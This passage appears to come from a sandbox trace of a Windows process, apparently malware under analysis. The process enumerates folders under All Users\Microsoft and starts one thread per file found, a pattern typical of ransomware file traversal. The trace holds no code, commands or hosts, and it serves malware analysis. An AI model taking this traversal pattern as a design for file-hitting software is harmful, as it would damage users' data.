nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.308] wcscmp (_String1="..", _String2=".") returned 1 [0072.308] wcscmp (_String1="..", _String2="..") returned 0 [0072.308] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33f12a0 | out: lpFindFileData=0x33f12a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0072.308] wcscmp (_String1="ClickToRunPackageLocker", _String2=".") returned 1 [0072.308] wcscmp (_String1="ClickToRunPackageLocker", _String2="..") returned 1 [0072.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccbf0 [0072.308] wcscpy (in: _Dest=0x33ccbf0, _Source="C:\\Users\\All Users\\Microsoft\\Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0072.308] wcscat (in: _Dest=0x33ccbf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\") returned="C:\\Users\\All Users\\Microsoft\\Office\\" [0072.308] wcscat (in: _Dest=0x33ccbf0, _Source="ClickToRunPackageLocker" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker") returned="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" [0072.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0072.837] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33f12a0 | out: lpFindFileData=0x33f12a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 0 [0072.837] FindClose (in: hFindFile=0x34339a8 | out: hFindFile=0x34339a8) returned 1 [0072.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f12a0) returned 1 [0072.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430de0) returned 1 [0072.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480e98) returned 1 [0072.837] RtlExitUserThread (Status=0x0) Thread: id = 511 os_tid = 0x13c0 [0072.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347ffa0 [0072.308] wcscpy (in: _Dest=0x347ffa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.308] wcscat (in: _Dest=0x347ffa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.309] wcscat (in: _Dest=0x347ffa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" [0072.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1508 [0072.309] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*", lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d28 [0072.333] wcscmp (_String1=".", _String2=".") returned 0 [0072.333] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.360] wcscmp (_String1="..", _String2=".") returned 1 [0072.360] wcscmp (_String1="..", _String2="..") returned 0 [0072.360] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0072.360] wcscmp (_String1="countrytable.xml", _String2=".") returned 1 [0072.360] wcscmp (_String1="countrytable.xml", _String2="..") returned 1 [0072.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cd470 [0072.360] wcscpy (in: _Dest=0x33cd470, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.361] wcscat (in: _Dest=0x33cd470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.361] wcscat (in: _Dest=0x33cd470, _Source="countrytable.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" [0072.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0072.746] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0072.746] wcscmp (_String1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", _String2=".") returned 1 [0072.746] wcscmp (_String1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", _String2="..") returned 1 [0072.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce9d8 [0072.746] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.746] wcscat (in: _Dest=0x33ce9d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.746] wcscat (in: _Dest=0x33ce9d8, _Source="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0072.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ce9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0072.747] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0072.747] wcscmp (_String1="{1e05dd5d-a022-46c5-963c-b20de341170f}", _String2=".") returned 1 [0072.747] wcscmp (_String1="{1e05dd5d-a022-46c5-963c-b20de341170f}", _String2="..") returned 1 [0072.747] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cdcc8 [0072.747] wcscpy (in: _Dest=0x33cdcc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.747] wcscat (in: _Dest=0x33cdcc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.747] wcscat (in: _Dest=0x33cdcc8, _Source="{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0072.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cdcc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0072.748] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0072.748] wcscmp (_String1="{23cb517f-5073-4e96-a202-7fe6122a2271}", _String2=".") returned 1 [0072.748] wcscmp (_String1="{23cb517f-5073-4e96-a202-7fe6122a2271}", _String2="..") returned 1 [0072.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cded8 [0072.748] wcscpy (in: _Dest=0x33cded8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.748] wcscat (in: _Dest=0x33cded8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.748] wcscat (in: _Dest=0x33cded8, _Source="{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0072.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cded8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0072.749] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0072.749] wcscmp (_String1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", _String2=".") returned 1 [0072.749] wcscmp (_String1="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", _String2="..") returned 1 [0072.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce878 [0072.749] wcscpy (in: _Dest=0x33ce878, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.749] wcscat (in: _Dest=0x33ce878, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.749] wcscat (in: _Dest=0x33ce878, _Source="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0072.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ce878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0072.750] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0072.750] wcscmp (_String1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", _String2=".") returned 1 [0072.750] wcscmp (_String1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", _String2="..") returned 1 [0072.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ceea8 [0072.750] wcscpy (in: _Dest=0x33ceea8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.750] wcscat (in: _Dest=0x33ceea8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.750] wcscat (in: _Dest=0x33ceea8, _Source="{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0072.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ceea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0072.751] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0072.751] wcscmp (_String1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", _String2=".") returned 1 [0072.751] wcscmp (_String1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", _String2="..") returned 1 [0072.751] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cea88 [0072.751] wcscpy (in: _Dest=0x33cea88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.751] wcscat (in: _Dest=0x33cea88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.751] wcscat (in: _Dest=0x33cea88, _Source="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" [0072.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cea88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0072.752] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0072.752] wcscmp (_String1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", _String2=".") returned 1 [0072.752] wcscmp (_String1="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", _String2="..") returned 1 [0072.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ceb38 [0072.752] wcscpy (in: _Dest=0x33ceb38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.752] wcscat (in: _Dest=0x33ceb38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.752] wcscat (in: _Dest=0x33ceb38, _Source="{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0072.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ceb38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0072.753] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0072.753] wcscmp (_String1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", _String2=".") returned 1 [0072.753] wcscmp (_String1="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", _String2="..") returned 1 [0072.753] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cef58 [0072.753] wcscpy (in: _Dest=0x33cef58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.753] wcscat (in: _Dest=0x33cef58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.753] wcscat (in: _Dest=0x33cef58, _Source="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0072.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cef58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0072.754] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0072.754] wcscmp (_String1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", _String2=".") returned 1 [0072.754] wcscmp (_String1="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", _String2="..") returned 1 [0072.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf4d8 [0072.754] wcscpy (in: _Dest=0x33cf4d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.754] wcscat (in: _Dest=0x33cf4d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.754] wcscat (in: _Dest=0x33cf4d8, _Source="{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0072.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf4d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0072.755] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0072.755] wcscmp (_String1="{99b095d8-5959-4820-bea7-7448c8427b4e}", _String2=".") returned 1 [0072.755] wcscmp (_String1="{99b095d8-5959-4820-bea7-7448c8427b4e}", _String2="..") returned 1 [0072.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf6e8 [0072.755] wcscpy (in: _Dest=0x33cf6e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.755] wcscat (in: _Dest=0x33cf6e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.755] wcscat (in: _Dest=0x33cf6e8, _Source="{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0072.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0072.756] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0072.756] wcscmp (_String1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", _String2=".") returned 1 [0072.756] wcscmp (_String1="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", _String2="..") returned 1 [0072.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf638 [0072.756] wcscpy (in: _Dest=0x33cf638, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.756] wcscat (in: _Dest=0x33cf638, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.756] wcscat (in: _Dest=0x33cf638, _Source="{9aec5bda-1e87-46b3-bb96-1a01c606555e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}" [0072.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0072.757] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 